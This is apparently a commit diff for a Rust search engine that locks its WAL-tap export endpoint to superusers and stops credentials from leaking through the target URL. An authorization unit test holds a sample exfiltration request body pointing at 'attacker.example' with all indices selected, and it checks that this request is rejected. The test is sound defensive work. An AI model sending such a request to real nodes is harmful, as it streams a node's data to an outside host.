AI search engine and MCP server for bots and agents. One Rust binary indexes code, docs, logs, JSONL/CSV and PDFs for BM25 full-text, vector and hybrid search, code search without grep, agent memory and RAG. Elasticsearch-compatible API; Corpus Hub serves hundreds of reference memory corpora.
Rust agent-memoryai-agentsbm25claude-codeclicode-searchcursordatabaseelasticsearchfull-text-searchhybrid-searchjsonllocal-firstmcpmcp-servermodel-context-protocolragrustsearch-enginevector-search
fix(wal-tap): close ten review blockers on the #320 push path
xerj-org3235e4308313
diff --git a/CHANGELOG.md b/CHANGELOG.mdindex b0a748fcd..f492f8283 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -16,21 +16,68 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0whole-index — was the only export path. A XERJ node used as a lightweight edgecollector had no way to stream a curated slice of its data up to a centralcluster.- - New `[wal_tap]` config section (9 settings, off by default) and a runtime- REST surface: `GET`/`PUT /_xerj/wal_tap` and `GET /_xerj/wal_tap/_stats`.- The allowlist is glob-based and adjustable without a restart.+ - New `[wal_tap]` config section (10 settings, off by default) and a runtime+ REST surface: `GET`/`PUT`/`DELETE /_xerj/wal_tap` and+ `GET /_xerj/wal_tap/_stats`. The allowlist is glob-based and adjustable+ without a restart. That brings the documented config surface to+ **115 settings** (counted by `journey_zero_config`, not by hand).+ - **Every `/_xerj/*` route is superuser-only.** `PUT /_xerj/wal_tap` is a+ whole-node export primitive — `target_url` names any host, `indices: ["*"]`+ names every index, and the tap attaches an operator-supplied+ `Authorization` header — so it is data exfiltration and authenticated SSRF+ in one call. Same reasoning `authz.rs` already applies to snapshot and+ restore: nothing here is index-scoped, so there is no per-index decision to+ make. The reads are covered too — `GET /_xerj/wal_tap` echoes `target_url`+ and `_stats` enumerates the node's whole index inventory.+ - **`target_url` may not carry credentials.** `https://user:pass@host` is an+ ordinary URL that `reqwest` turns into a `Basic Authorization` header — i.e.+ `target_auth` by another spelling, in the one field the API echoes back and+ the boot log prints. It is refused at startup and by `PUT`, and redacted+ everywhere it is rendered.- The wire format is `_bulk` and nothing else, so the target can beElasticsearch, OpenSearch, or another XERJ node with nothing installed.- **This is not CCR.** It is one-directional, single-node, and independent ofthe post-GA sharding/replication track. `_ccr/*` still answers `501`.- The tap adds nothing to the write path: it tails WAL files from disk on a- timer and takes no lock the writer wants.+ timer and takes no lock the writer wants. A poll costs the bytes appended+ since the last one, not the size of the file — the tail reader is a sliding+ window over a `File`, shaped after Lucene's `BufferedIndexInput.refill`+ (`lucene/core/src/java/org/apache/lucene/store/BufferedIndexInput.java:289-317`,+ Apache-2.0). A caught-up poll reads the 16-byte WAL header and stops.- Delivery is at-least-once, with `version_type: external` carrying the WAL`seq_no` on every action so a redelivery converges on the same document the- source holds.+ source holds. Note that XERJ's own `_bulk` ignores per-action `version` /+ `version_type` (only the single-doc path honours them), so a XERJ target+ degrades to last-write-wins by arrival; against Elasticsearch or OpenSearch+ the mechanism is live.+ - `_stats` counts what the **target accepted**, per item, not what was+ rendered into the request. `lag_seq` is derived from the highest accepted+ `seq_no`, and each index carries a `healthy` boolean that is false both when+ sends are failing and when the target answers `200` while rejecting every+ action inside it as a version conflict.+ - Cursor state is flushed once per poll cycle rather than once per index per+ poll; a deferred flush can only cause a redelivery, which the external+ versioning above absorbs.+ - Deleting an index drops its cursor at the moment of deletion, so a+ `DELETE` + `PUT` of the same name inside one poll interval — never observed+ as an absence at a 500 ms default — cannot leave a byte offset pointing into+ a WAL stream that no longer exists. For a delete that happened while the+ node was down, the reader treats a cursor offset past the end of its+ generation as the discontinuity it is (WAL files are append-only) and+ restarts the stream with a reported gap instead of clamping to EOF.- WAL retention is deliberately *not* coupled to the tap — a slow remote mustnot be able to fill the local disk. A tap that falls far enough behind loses- entries and says so: `gaps` in `_stats`, plus a warning per occurrence.+ entries and says so: `gaps` in `_stats`, plus a warning per occurrence. New+ `wal_tap.min_retained_generations` (default `0`, unchanged behaviour) buys+ **bounded** slack: it is a floor, not an Elasticsearch-style retention+ lease, so it holds at most `n × storage.wal_max_size_mb` per WAL shard+ however far behind any consumer is.+ - A configuration set through `PUT /_xerj/wal_tap` is persisted next to the+ cursors and re-applied over the config file on the next boot, so "runtime+ config, no restart" does not quietly mean "and gone after one".+ `DELETE /_xerj/wal_tap` drops the overlay and reverts to the file. The state+ file holds `target_auth`, so it is written `0600` through the same writer+ the API-key store uses.- XERJ's own `.xerj*` system indices are never shipped, whatever the allowlistsays, and a wildcard never expands to a hidden index.- There is no backfill. A new index is shipped whole; an established one shipsdiff --git a/engine/README.md b/engine/README.mdindex 7404ee2ff..92c1d509e 100644--- a/engine/README.md+++ b/engine/README.md@@ -53,7 +53,7 @@ HTTP wire payloads, single-node, tmpfs data dir, both freshly started| Per-batch (5K) bulk p99 | **34.8 ms** | 80.3 ms | ES 2.3× || Data loss on restart | 0% | 0% | tied || GC pauses | 20–40 ms (JVM) | **0** (no GC) | **xerj** |-| Config surface | 3,000+ knobs | **114**, all optional | **xerj** |+| Config surface | 3,000+ knobs | **115**, all optional | **xerj** |xerj wins on every operational and read-path metric. ES still winsbulk-ingest throughput on warm Lucene `IndexWriter` (perf-backlog item@@ -86,7 +86,7 @@ The resulting binary is at `target/release/xerj`.## ConfigurationSee [`xerj.default.toml`](xerj.default.toml) for the commonly-tuned settings, and-[`crates/xerj-common/src/config.rs`](crates/xerj-common/src/config.rs) for all 114+[`crates/xerj-common/src/config.rs`](crates/xerj-common/src/config.rs) for all 115— every one of them optional.The minimal config to get started:diff --git a/engine/crates/xerj-api/src/authz.rs b/engine/crates/xerj-api/src/authz.rsindex 65bb70048..d12e1cb41 100644--- a/engine/crates/xerj-api/src/authz.rs+++ b/engine/crates/xerj-api/src/authz.rs@@ -1328,6 +1328,27 @@ fn decide(authorize_body(principal, aliases, shape, body, default)}Target::Cluster => {+ // `/_xerj/*` is the node's own operator namespace, and its first+ // inhabitant (`_xerj/wal_tap`, issue #320) is a whole-node export+ // primitive: one `PUT` with `target_url` pointing anywhere and+ // `indices: ["*"]` streams every index on this node to an+ // attacker-chosen host, with an operator-supplied `Authorization`+ // header attached — a data exfiltration channel and an+ // authenticated SSRF in the same request.+ //+ // Nothing here is index-scoped, so there is no per-index decision+ // to make and the reasoning is the snapshot/restore one below:+ // superuser-only. That covers the reads too. `GET /_xerj/wal_tap`+ // echoes `target_url` and `GET /_xerj/wal_tap/_stats` enumerates+ // the node's full index inventory, and both are `cluster_is_read`,+ // so without this arm a key scoped to one index could read them.+ if segs.first().map(String::as_str) == Some("_xerj") {+ return Err(forbidden(+ principal,+ "<node>",+ required_privilege(method, segs, 1),+ ));+ }// Snapshot and restore that name no indices cover *every* index on// the node, brains included. There is no per-index decision to// make, so they are superuser-only.@@ -2270,6 +2291,69 @@ mod tests {));}+ /// `PUT /_xerj/wal_tap` (issue #320) is a whole-node export primitive:+ /// `target_url` names any host on the network, `indices: ["*"]` names+ /// every index on this node, and the tap attaches an operator-supplied+ /// `Authorization` header to the requests it makes — exfiltration and+ /// authenticated SSRF in one call.+ ///+ /// It reached `Target::Cluster` through the `_`-prefix arm, `body_shape`+ /// returned `BodyShape::None` so `body_targets` produced no demands, and a+ /// mutating cluster verb naming nothing falls through to+ /// `Principal::Unscoped => Ok(())`. Every unscoped key on the node could+ /// therefore stream the whole node off it. Same reasoning as+ /// `unbounded_snapshot_is_superuser_only` above, same answer.+ ///+ /// The reads matter too and are covered by the same arm: `GET+ /// /_xerj/wal_tap` echoes `target_url`, and `GET /_xerj/wal_tap/_stats`+ /// enumerates the node's whole index inventory with no principal filter+ /// (`_xerj` has no `prune_sites` entry, and adding one would not help — a+ /// scoped key has no business knowing the tap's target either). Both are+ /// `cluster_is_read`, so before this arm a key scoped to a single index+ /// could read them.+ #[test]+ fn the_wal_tap_export_primitive_is_superuser_only() {+ let legacy = unscoped();+ let one_index = scoped(&["logs-2026"], &[Privilege::ReadIndex]);++ // The write: an unscoped key must not be able to point this node's+ // whole WAL at a host it chose.+ let exfiltrate = r#"{"enabled":true,"target_url":"http://attacker.example",+ "indices":["*"],"target_auth":"ApiKey stolen"}"#;+ assert!(!check(&legacy, Method::PUT, "/_xerj/wal_tap", exfiltrate));+ assert!(!check(+ &one_index,+ Method::PUT,+ "/_xerj/wal_tap",+ exfiltrate+ ));+ assert!(!check(&legacy, Method::DELETE, "/_xerj/wal_tap", ""));++ // The reads: the target URL and the node's index inventory.+ assert!(!check(&legacy, Method::GET, "/_xerj/wal_tap", ""));+ assert!(!check(&one_index, Method::GET, "/_xerj/wal_tap", ""));+ assert!(!check(&legacy, Method::GET, "/_xerj/wal_tap/_stats", ""));+ assert!(!check(&one_index, Method::GET, "/_xerj/wal_tap/_stats", ""));++ // The namespace, not just the route: a second `_xerj` endpoint must+ // inherit this rather than have to remember it.+ assert!(!check(&legacy, Method::GET, "/_xerj/anything", ""));+ assert!(!check(&legacy, Method::POST, "/_xerj/anything/_do", ""));++ // And the operator can still drive it.+ for (method, path) in [+ (Method::GET, "/_xerj/wal_tap"),+ (Method::PUT, "/_xerj/wal_tap"),+ (Method::DELETE, "/_xerj/wal_tap"),+ (Method::GET, "/_xerj/wal_tap/_stats"),+ ] {+ assert!(+ check(&Principal::Superuser, method.clone(), path, "{}"),+ "the superuser must keep {method} {path}"+ );+ }+ }+/// The pattern short-circuit in [`authorize_expression`] is safe because/// the engine expands a wildcard over the principal's visible set. Snapshot/// and restore are the two verbs that never reach that funnel:diff --git a/engine/crates/xerj-api/src/router.rs b/engine/crates/xerj-api/src/router.rsindex 94d979b73..68124dfb4 100644--- a/engine/crates/xerj-api/src/router.rs+++ b/engine/crates/xerj-api/src/router.rs@@ -843,7 +843,9 @@ pub fn build_es_compat_router(state: AppState) -> Router {// would make those honest 501s a lie..route("/_xerj/wal_tap",- get(wal_tap_api::get_wal_tap).put(wal_tap_api::put_wal_tap),+ get(wal_tap_api::get_wal_tap)+ .put(wal_tap_api::put_wal_tap)+ .delete(wal_tap_api::delete_wal_tap),).route("/_xerj/wal_tap/_stats", get(wal_tap_api::wal_tap_stats))// ── Legacy index templates (v1) ────────────────────────────────────────────diff --git a/engine/crates/xerj-api/src/wal_tap_api.rs b/engine/crates/xerj-api/src/wal_tap_api.rsindex 4556aa862..bcf61698e 100644--- a/engine/crates/xerj-api/src/wal_tap_api.rs+++ b/engine/crates/xerj-api/src/wal_tap_api.rs@@ -1,9 +1,10 @@//! REST surface for the single-node WAL tap (issue #320).//!//! ```text-//! GET /_xerj/wal_tap current configuration (never the credential)-//! PUT /_xerj/wal_tap merge-patch it, no restart-//! GET /_xerj/wal_tap/_stats per-index cursors, lag, counters, last error+//! GET /_xerj/wal_tap current configuration (never the credential)+//! PUT /_xerj/wal_tap merge-patch it, durably, no restart+//! DELETE /_xerj/wal_tap drop the runtime overlay, revert to the file+//! GET /_xerj/wal_tap/_stats per-index cursors, lag, counters, last error//! ```//!//! This is a native (`_xerj`-namespaced) surface, not an Elasticsearch one:@@ -11,8 +12,18 @@//! `_ccr/*` did would be exactly the silent-stub behaviour those handlers were//! made to `501` to avoid.//!-//! Everything here is cluster-scoped, so it authorises like any other-//! `/_*` route (`authz::classify` → `Target::Cluster`).+//! ## Why every route here is superuser-only+//!+//! `PUT /_xerj/wal_tap` is a whole-node export primitive: `target_url` plus+//! `indices: ["*"]` streams every index on this node to a host of the+//! caller's choosing, with an operator-supplied `Authorization` header+//! attached — exfiltration and authenticated SSRF in one request. Nothing+//! here is index-scoped, so there is no per-index decision to make, and that+//! is the same reasoning `authz.rs` already applies to snapshot and restore.+//! The reads are covered for the same reason: `GET /_xerj/wal_tap` echoes+//! `target_url` and `_stats` enumerates the node's whole index inventory.+//! Enforced in [`crate::authz`] on the `_xerj` first segment, not here, so a+//! second `_xerj` route cannot be added without inheriting it.use axum::{extract::State,@@ -33,10 +44,19 @@ use crate::{extract::OptionalJson, state::AppState};/// cluster, and an endpoint that reads it back turns "can call the admin API"/// into "holds the target's credential". `target_auth_configured` is the/// operator-visible part.+///+/// `target_url` is **redacted**, and that is not belt and braces — it closes+/// the hole the omission above left wide open. `https://user:pass@host:9200`+/// is an ordinary URL, and `reqwest` turns its userinfo into a `Basic`+/// `Authorization` header, so an operator who put the credential there was+/// configuring `target_auth` by another spelling — and this endpoint would+/// have handed it straight back. [`WalTapConfig::check_target_url`] refuses+/// userinfo on the way in; this makes sure a URL that arrived some other way+/// (an older state file, a hand-edited config) still cannot be read back out.fn config_body(config: &WalTapConfig) -> Value {json!({"enabled": config.enabled,- "target_url": config.target_url,+ "target_url": config.redacted_target_url(),"target_auth_configured": !config.target_auth.is_empty(),"indices": config.indices,"poll_interval_ms": config.poll_interval_ms,@@ -44,12 +64,27 @@ fn config_body(config: &WalTapConfig) -> Value {"max_batch_bytes": config.max_batch_bytes,"request_timeout_secs": config.request_timeout_secs,"max_retry_backoff_secs": config.max_retry_backoff_secs,+ "min_retained_generations": config.min_retained_generations,})}/// `GET /_xerj/wal_tap`pub async fn get_wal_tap(State(state): State<AppState>) -> Response {- Json(config_body(&state.engine.wal_tap.config())).into_response()+ let mut body = config_body(&state.engine.wal_tap.config());+ if let Some(obj) = body.as_object_mut() {+ // Which of the two sources this configuration came from is the+ // question an operator asks after a restart, and the one the tap used+ // to answer wrongly by silently reverting to the file.+ obj.insert(+ "source".into(),+ json!(if state.engine.wal_tap.has_runtime_config() {+ "runtime"+ } else {+ "config_file"+ }),+ );+ }+ Json(body).into_response()}/// The mutable half. Every field optional — an absent field keeps its current@@ -67,6 +102,7 @@ pub struct WalTapPatch {pub max_batch_bytes: Option<usize>,pub request_timeout_secs: Option<u64>,pub max_retry_backoff_secs: Option<u64>,+ pub min_retained_generations: Option<u64>,}fn bad_request(reason: &str) -> Response {@@ -98,13 +134,12 @@ pub async fn put_wal_tap(}if let Some(v) = patch.target_url {let trimmed = v.trim().to_string();- if !trimmed.is_empty()- && !(trimmed.starts_with("http://") || trimmed.starts_with("https://"))- {- return bad_request(- "wal_tap.target_url must be an absolute http:// or https:// URL, e.g. \- \"https://central:9200\"",- );+ // Shape AND credential check. `https://user:pass@host` passed the old+ // scheme-only test, and `reqwest` would have turned that userinfo into+ // a `Basic Authorization` header — a credential smuggled into the one+ // field this API echoes back (and logs at boot).+ if let Err(reason) = WalTapConfig::check_target_url(&trimmed) {+ return bad_request(&reason);}config.target_url = trimmed;}@@ -154,14 +189,64 @@ pub async fn put_wal_tap(}config.max_retry_backoff_secs = v;}+ if let Some(v) = patch.min_retained_generations {+ // Bounded on purpose: this knob costs `v * storage.wal_max_size_mb`+ // per WAL shard per index whether or not a tap is running, so an+ // operator typing an extra digit must not be able to fill the disk+ // quietly.+ if v > 64 {+ return bad_request(+ "wal_tap.min_retained_generations must be at most 64: it holds that many \+ rotated WAL files per shard per index, costing up to \+ n * storage.wal_max_size_mb of disk each",+ );+ }+ config.min_retained_generations = v;+ }if config.enabled && config.target_url.is_empty() {return bad_request("wal_tap.enabled requires a target_url");}let body = config_body(&config);+ // `min_retained_generations` reaches `WalWriter` through+ // `IndexStoreConfig` when a store is opened, so a runtime change to it+ // applies to indices opened after this point (and to every index after a+ // restart, which this patch now survives). Said plainly in the response+ // rather than left for an operator to discover.+ let retention_takes_effect_on_restart =+ patch.min_retained_generations.is_some() && !state.engine.index_name_list().is_empty();state.engine.wal_tap.set_config(config);- Json(json!({"acknowledged": true, "wal_tap": body})).into_response()+ let mut resp = json!({"acknowledged": true, "wal_tap": body, "persisted": true});+ if retention_takes_effect_on_restart {+ resp["warning"] = json!(+ "min_retained_generations is read when an index store is opened: already-open \+ indices keep the previous retention floor until this node restarts"+ );+ }+ Json(resp).into_response()+}++/// `DELETE /_xerj/wal_tap`+///+/// Drop the persisted runtime configuration and revert to the config file.+///+/// The counterpart to `PUT` now that a `PUT` is durable: without this, one+/// API call would permanently shadow `xerj.toml` with no way back short of+/// deleting a file in the data directory. Modelled on `_cluster/settings`,+/// where writing `null` clears a persistent setting.+pub async fn delete_wal_tap(State(state): State<AppState>) -> Response {+ // The engine's boot `Config` is the file's value: the tap took a clone of+ // it at construction and only then layered the persisted runtime config+ // on top, so this is genuinely "what xerj.toml says".+ let file_config = state.engine.config().wal_tap.clone();+ state.engine.wal_tap.clear_runtime_config(file_config);+ Json(json!({+ "acknowledged": true,+ "wal_tap": config_body(&state.engine.wal_tap.config()),+ "source": "config_file",+ }))+ .into_response()}/// `GET /_xerj/wal_tap/_stats`@@ -169,7 +254,14 @@ pub async fn put_wal_tap(/// The honesty surface. `gaps > 0` means entries were pruned out of the WAL/// before the tap could ship them and are gone; `lag_seq` is how far behind/// the index's own sequence counter the tap is; `last_error` is why it stopped-/// advancing.+/// advancing; `healthy` is false when either of the two states that used to+/// be indistinguishable from working is in effect — sends failing, or a+/// target answering 200 while rejecting every action inside it.+///+/// Superuser-only ([`crate::authz`]): this enumerates every index on the node+/// that the allowlist matches, and it echoes `target_url`. It applies no+/// principal filter of its own precisely because it is never reached by a+/// principal that would need one.pub async fn wal_tap_stats(State(state): State<AppState>) -> Response {let tap = &state.engine.wal_tap;let config = tap.config();@@ -177,6 +269,7 @@ pub async fn wal_tap_stats(State(state): State<AppState>) -> Response {let cursors = tap.cursors();let mut indices = serde_json::Map::new();+ let mut all_healthy = true;for name in state.engine.index_name_list() {if !WalTap::ships(&config, &name) {continue;@@ -195,19 +288,28 @@ pub async fn wal_tap_stats(State(state): State<AppState>) -> Response {"lag_seq".into(),json!(head.saturating_sub(stat.last_shipped_seq)),);+ // One boolean an operator can alert on, so "is replication+ // working?" does not require correlating five counters.+ obj.insert("healthy".into(), json!(stat.healthy()));obj.insert("cursors".into(),serde_json::to_value(cursors.get(&name).cloned().unwrap_or_default()).unwrap_or_else(|_| json!({})),);}+ if !stat.healthy() {+ all_healthy = false;+ }indices.insert(name, body);}Json(json!({"enabled": config.enabled,- "target_url": config.target_url,+ // Redacted for the same reason as in `config_body`: `_stats` is a+ // second read path onto the same string.+ "target_url": config.redacted_target_url(),"ticks": tap.ticks(),+ "healthy": all_healthy,"indices": indices,})).into_response()diff --git a/engine/crates/xerj-common/src/config.rs b/engine/crates/xerj-common/src/config.rsindex b32dbec21..653e27a0e 100644--- a/engine/crates/xerj-common/src/config.rs+++ b/engine/crates/xerj-common/src/config.rs@@ -1,6 +1,6 @@//! xerj configuration system.//!-//! Configuration is intentionally minimal: **114 settings** versus+//! Configuration is intentionally minimal: **115 settings** versus//! Elasticsearch's 3000+. Every option is named, documented, and has a sensible//! production-ready default. The format is TOML, loaded from a single file.//!@@ -93,11 +93,11 @@ pub struct Config {/// ISM/ILM index-lifecycle-management background execution — 1 setting.pub lifecycle: LifecycleConfig,/// Single-node WAL tap: push a filtered index subset to an external- /// ES-compatible target — 9 settings. Off by default.+ /// ES-compatible target — 10 settings. Off by default.pub wal_tap: WalTapConfig,}-// 21 sub-configs, 114 leaf settings in total. Do not maintain that sum by hand+// 21 sub-configs, 115 leaf settings in total. Do not maintain that sum by hand// — `journey_zero_config` in xerj-engine/tests/product_experience.rs counts a// serialised `Config::default()` and fails if this comment and the module// header stop matching. `Default` is derived: every field is a sub-config that@@ -185,6 +185,13 @@ impl Config {return Err(XerjError::config("merge.min_segments must be >= 2"));}+ // WAL tap: the target URL is a credential boundary, not just a URL.+ // Refusing it at boot is the only way a `user:pass@host` in the config+ // file never reaches the log line or the two endpoints that echo it.+ if let Err(reason) = WalTapConfig::check_target_url(&self.wal_tap.target_url) {+ return Err(XerjError::config(reason));+ }+// Compression: block_size_docs is documented as 16–4096 and was// accepted at any value (#318 got `999999` past startup in silence).// Range-check it even though the knob is dormant: an out-of-range@@ -411,7 +418,7 @@ impl Config {}// ═════════════════════════════════════════════════════════════════════════════-// Sub-configs (114 user-facing settings total; counted by+// Sub-configs (115 user-facing settings total; counted by// `journey_zero_config`, not by hand)// ═════════════════════════════════════════════════════════════════════════════@@ -1741,7 +1748,7 @@ impl Default for LifecycleConfig {// ─────────────────────────────────────────────────────────────────────────────/// Single-node WAL tap — push a filtered subset of indices to an external-/// ES-compatible target (issue #320). **9 settings.**+/// ES-compatible target (issue #320). **10 settings.**////// This is deliberately *not* cross-cluster replication. It is one/// directional, single node, and target-agnostic because the wire format is@@ -1765,7 +1772,14 @@ impl Default for LifecycleConfig {/// has shipped them — coupling the two would let a slow remote fill the/// local disk. A tap that falls that far behind loses entries and *says/// so*: `gaps` in `GET /_xerj/wal_tap/_stats`, plus a warning per gap.+/// `min_retained_generations` buys a **bounded** amount of slack; it is a+/// floor, not a lease, so a stalled target still cannot fill the disk./// - **System indices are never shipped**, whatever the allowlist says.+/// - **Runtime edits are durable.** `PUT /_xerj/wal_tap` persists the patched+/// configuration next to the cursors and re-applies it over the file+/// config on the next boot (`DELETE /_xerj/wal_tap` drops the overlay and+/// reverts to this file). Otherwise a restart would silently revert to+/// `enabled = false` while the cursors froze and WAL pruning continued.#[derive(Debug, Clone, Serialize, Deserialize)]#[serde(default, deny_unknown_fields)]pub struct WalTapConfig {@@ -1794,6 +1808,22 @@ pub struct WalTapConfig {pub request_timeout_secs: u64,/// Ceiling on the exponential retry backoff, in seconds (default: `60`).pub max_retry_backoff_secs: u64,+ /// Rotated WAL generations kept per shard **after** every entry in them+ /// is durable in a segment, so a tap whose target is briefly unreachable+ /// still finds them (default: `0` — prune as soon as it is safe, the+ /// pre-#320 behaviour).+ ///+ /// The default loses data on an outage longer than one flush interval+ /// (`storage.flush_interval_secs`, 30 s): the entries are gone from the+ /// WAL and the tap reports `gaps`. Set this to cover the outage you want+ /// to survive — `2` buys roughly two flush windows.+ ///+ /// The cost is bounded and paid whether or not a tap is running: at most+ /// `n * storage.wal_max_size_mb` extra megabytes per WAL shard per index.+ /// It is deliberately **not** an Elasticsearch-style retention lease,+ /// which holds generations for as long as a follower is behind and is how+ /// a dead follower wedges a leader's disk.+ pub min_retained_generations: u64,}impl Default for WalTapConfig {@@ -1808,10 +1838,79 @@ impl Default for WalTapConfig {max_batch_bytes: 5 * 1024 * 1024,request_timeout_secs: 30,max_retry_backoff_secs: 60,+ min_retained_generations: 0,}}}+impl WalTapConfig {+ /// Reject a `target_url` this node must not accept, returning the operator+ /// message for a `400`.+ ///+ /// Two rules, and the second one is a credential boundary:+ ///+ /// 1. It has to be an absolute `http://` / `https://` URL, because the tap+ /// POSTs `{target_url}/_bulk` and a relative one silently targets+ /// nothing.+ /// 2. **No userinfo.** `https://user:pass@host` is an ordinary URL and+ /// `reqwest` turns its userinfo into a `Basic` `Authorization` header —+ /// so it is `target_auth` wearing a disguise. `target_auth` is+ /// write-only precisely so that "can call the admin API" never becomes+ /// "holds the target's credential", and `target_url` is echoed by+ /// `GET /_xerj/wal_tap`, by `_stats`, and by the boot log. Accepting+ /// userinfo would defeat that in one line of config.+ pub fn check_target_url(url: &str) -> Result<(), String> {+ let trimmed = url.trim();+ if trimmed.is_empty() {+ return Ok(());+ }+ let Some(rest) = trimmed+ .strip_prefix("http://")+ .or_else(|| trimmed.strip_prefix("https://"))+ else {+ return Err(+ "wal_tap.target_url must be an absolute http:// or https:// URL, e.g. \+ \"https://central:9200\""+ .to_string(),+ );+ };+ // Userinfo is everything before the first `@` of the authority, which+ // ends at the first `/`, `?` or `#`.+ let authority = rest.split(['/', '?', '#']).next().unwrap_or_default();+ if authority.contains('@') {+ return Err("wal_tap.target_url must not carry credentials in the URL \+ (user:password@host): target_url is echoed by GET /_xerj/wal_tap, by \+ /_xerj/wal_tap/_stats and in the server log. Put the credential in \+ wal_tap.target_auth, which is write-only."+ .to_string());+ }+ Ok(())+ }++ /// `target_url` as it is safe to show: any userinfo replaced by `***`.+ ///+ /// [`check_target_url`](Self::check_target_url) refuses userinfo on the way+ /// in, so this only fires for a URL that reached the process another way —+ /// an older state file, or a hand-edited config on a node whose operator+ /// skipped validation. Belt and braces on a credential is cheap.+ pub fn redacted_target_url(&self) -> String {+ redact_url_userinfo(&self.target_url)+ }+}++/// Replace `scheme://user:pass@host/…` with `scheme://***@host/…`.+pub fn redact_url_userinfo(url: &str) -> String {+ let Some((scheme, rest)) = url.split_once("://") else {+ return url.to_string();+ };+ let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());+ let (authority, tail) = rest.split_at(authority_end);+ match authority.rsplit_once('@') {+ Some((_userinfo, host)) => format!("{scheme}://***@{host}{tail}"),+ None => url.to_string(),+ }+}+// ─────────────────────────────────────────────────────────────────────────────/// Scroll + async-search context lifecycle settings (RC4 blocker 11).@@ -2069,7 +2168,7 @@ mod tests {drift.join("\n "));- // …and the file's own header quotes how many of the 114 it sets. That+ // …and the file's own header quotes how many of the 115 it sets. That// number was 38, then 56, and never once the truth (#207), so count the// assignments instead of trusting the sentence.let set_here = toml_src@@ -2522,7 +2621,7 @@ mod tests {("logging", 2),("compat", 2),("lifecycle", 1),- ("wal_tap", 9),+ ("wal_tap", 10),];/// Count the settings by *counting them*.@@ -2565,7 +2664,7 @@ mod tests {"the section table must sum to the whole config");assert_eq!(- total, 114,+ total, 115,"the total settings count changed. It is quoted in this module's \header, in xerj-common/src/lib.rs, in engine/README.md, in \xerj.default.toml and in EXPECTED_SETTINGS in \diff --git a/engine/crates/xerj-common/src/lib.rs b/engine/crates/xerj-common/src/lib.rsindex 836cc8498..2ca0eb71a 100644--- a/engine/crates/xerj-common/src/lib.rs+++ b/engine/crates/xerj-common/src/lib.rs@@ -7,13 +7,13 @@//! ## Design philosophy//!//! Unlike Elasticsearch's 3000+ configuration knobs, xerj deliberately exposes-//! **114 settings**, each meaningful and production-tested. Every default+//! **115 settings**, each meaningful and production-tested. Every default//! is chosen so that a fresh deployment with zero configuration changes performs//! well for the majority of workloads.//!//! ## Modules//!-//! - [`config`] — TOML-based configuration (114 settings)+//! - [`config`] — TOML-based configuration (115 settings)//! - [`feedback`] — the bug/UX-report invitation shared by every `--help`//! - [`error`] — Unified error type ([`XerjError`])//! - [`types`] — Core domain types (documents, fields, IDs)diff --git a/engine/crates/xerj-engine/src/engine.rs b/engine/crates/xerj-engine/src/engine.rsindex 33e4511cb..0e92ec6de 100644--- a/engine/crates/xerj-engine/src/engine.rs+++ b/engine/crates/xerj-engine/src/engine.rs@@ -378,7 +378,10 @@ impl ApiKeyRecord {/// the secret is never briefly world-readable, then renamed over the target/// (the rename carries the 0600 inode). On non-unix, perms are left to the OS/// default. Mirrors `index::write_file_atomic` but hardens the mode.-fn write_secret_file_atomic(path: &std::path::Path, bytes: &[u8]) -> std::io::Result<()> {+pub(crate) fn write_secret_file_atomic(+ path: &std::path::Path,+ bytes: &[u8],+) -> std::io::Result<()> {use std::io::Write as _;// Unique staging name, for the same reason as `index::write_file_atomic`:// two concurrent key mints sharing one `api_keys.tmp` can interleave into a@@ -2557,6 +2560,12 @@ impl Engine {self.index_mappings.remove(name);self.index_alias_metadata.remove(name);+ // The WAL tap's cursor is a byte offset into a WAL stream that has+ // just ceased to exist. Dropping it HERE, rather than waiting for a+ // poll to notice the index is gone, is what makes delete-and-recreate+ // inside one poll interval safe — see `wal_tap::WalTap::forget_index`.+ self.wal_tap.forget_index(name);+// Lifecycle bookkeeping: a deleted index needs neither an execution// cursor nor a detach tombstone (#282) — and clearing the tombstone// here means a *recreated* index with the same name starts freshdiff --git a/engine/crates/xerj-engine/src/index.rs b/engine/crates/xerj-engine/src/index.rsindex ff69297bc..85927eaca 100644--- a/engine/crates/xerj-engine/src/index.rs+++ b/engine/crates/xerj-engine/src/index.rs@@ -28174,6 +28174,14 @@ fn store_config_from(config: &Config, wal_shards_override: Option<usize>) -> Indschema_version: 1,storage_mode: xerj_storage::StorageMode::Local,num_wal_shards: wal_shards_override.unwrap_or(config.engine.ingest_shards),+ // #320 — the retention floor a WAL consumer needs. Read here, from+ // the boot config, because it is consumed once when a `WalWriter` is+ // opened; a runtime `PUT /_xerj/wal_tap` that changes it therefore+ // applies to stores opened after the change (and to every store after+ // a restart, which the persisted runtime config now survives). The+ // `PUT` handler says so in its response rather than leaving it to be+ // discovered.+ wal_min_retained_generations: config.wal_tap.min_retained_generations,}}diff --git a/engine/crates/xerj-engine/src/wal_tap.rs b/engine/crates/xerj-engine/src/wal_tap.rsindex 40bbe6743..d2d0d5d7b 100644--- a/engine/crates/xerj-engine/src/wal_tap.rs+++ b/engine/crates/xerj-engine/src/wal_tap.rs@@ -16,6 +16,17 @@//! does not depend on the post-GA multi-node track. `_ccr/*` still answers//! `501`, honestly, because none of that exists.//!+//! ## Who may call it+//!+//! Every `/_xerj/*` route is **superuser-only**, enforced in+//! [`crate::authz`](../../xerj_api/authz/index.html) on the first path+//! segment. `PUT /_xerj/wal_tap` names an arbitrary host in `target_url` and+//! an arbitrary index set in `indices`, and attaches an operator-supplied+//! `Authorization` header to what it sends — a whole-node export channel and+//! an authenticated SSRF in one request. Nothing here is index-scoped, so+//! there is no per-index decision to make, which is the same argument that+//! already makes snapshot and restore superuser-only.+//!//! ## The four decisions//!//! **1. Where it hooks.** Nowhere on the write path. The tap reads WAL files@@ -26,6 +37,13 @@//! whole frames the moment they are acked. The price is that end-to-end//! latency has `poll_interval_ms` as its floor.//!+//! A poll costs the bytes appended since the last one, not the size of the+//! file: `tail_shard` reads through a sliding window over a `File`+//! ([`xerj_storage::wal`]), so a caught-up shard costs one 16-byte header+//! read. It has to — the cost is multiplied by `num_wal_shards` × allowlisted+//! indices × `1000 / poll_interval_ms` per second, and `indices = ["*"]` on a+//! node with thousands of indices is a supported configuration.+//!//! **2. Ordering and dedup.** The cursor is a **byte offset**, never a//! sequence number: the lock-free writer reserves seq_nos outside the shard//! mutex, so a file can hold frames out of seq order and a seq-filtered resume@@ -39,6 +57,15 @@//! external versioning — which currently includes xerj's own `_bulk` — falls//! back to last-write-wins by arrival instead.//!+//! What the target 